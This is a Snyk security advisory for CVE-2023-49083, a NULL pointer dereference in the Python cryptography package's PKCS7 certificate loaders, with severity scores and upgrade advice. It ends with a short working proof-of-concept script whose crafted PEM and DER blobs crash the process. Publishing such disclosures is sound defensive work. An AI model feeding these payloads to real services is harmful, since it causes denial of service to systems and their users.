NULL Pointer Dereference Affecting cryptography package, versions [3.1,41.0.6)
Snyk CVSS
Attack Complexity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.06% (24th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-CRYPTOGRAPHY-6092044
- published 29 Nov 2023
- disclosed 28 Nov 2023
- credit pkuzco
Introduced: 28 Nov 2023
CVE-2023-49083 Open this link in a new tabHow to fix?
Upgrade cryptography to version 41.0.6 or higher.
Overview
Affected versions of this package are vulnerable to NULL Pointer Dereference when loading PKCS7 certificates. An attacker can cause a Denial of Service (DoS) by attempting to deserialize a PKCS7 blob/certificate.
Note:
This is only exploitable if the load_pem_pkcs7_certificates or load_der_pkcs7_certificates functions are called.
PoC
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)